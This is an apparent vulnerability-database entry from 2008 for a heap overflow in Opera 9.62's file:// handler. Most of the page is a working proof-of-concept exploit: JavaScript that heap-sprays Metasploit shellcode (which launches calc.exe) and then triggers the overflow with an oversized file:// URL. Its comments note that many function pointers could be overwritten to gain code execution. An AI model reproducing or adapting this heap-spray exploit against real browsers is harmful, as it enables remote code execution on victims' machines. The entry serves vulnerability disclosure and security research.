Opera Web浏览器file://处理器堆溢出漏洞

🗓️ 20 Nov 2008 00:00:00Reported by RootType

Opera Web browser file:// handler heap overflow vulnerabilit


                                                <html>
<head><title>uh?</title></head>
<body>
<script>
 
    
    // k`sOSe 11/15/2008
    // tested on Windows XP SP3, opera 9.62 international version
    // vulnerability found by send9
 
    // there are many ways to achieve code execution, tons of function pointers to overwrite.
    // maybe there's one more reliable...
 
    var i=0;
    
    // push es, pop es
    var block = unescape("%u0607%u0607"); 
 
    // metasploit WinExec c:\WINDOWS\system32\calc.exe
    var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u6163%u636c%u652e%u6578%u4100");
 
    while (block.length < 81920) block += block;
    var memory = new Array();
    for (;i<1000;i++) memory[i] += (block + shellcode);
 
 
    var evil = "file://";
 
        for(var i = 0; i<16438; i++)
                evil += "X";
 
    evil += "R."; 
 
    window.location.replace(evil);
 
</script>
 
</body>
</html>

20 Nov 2008 00:00Current

6.9Medium risk

Vulners AI Score6.9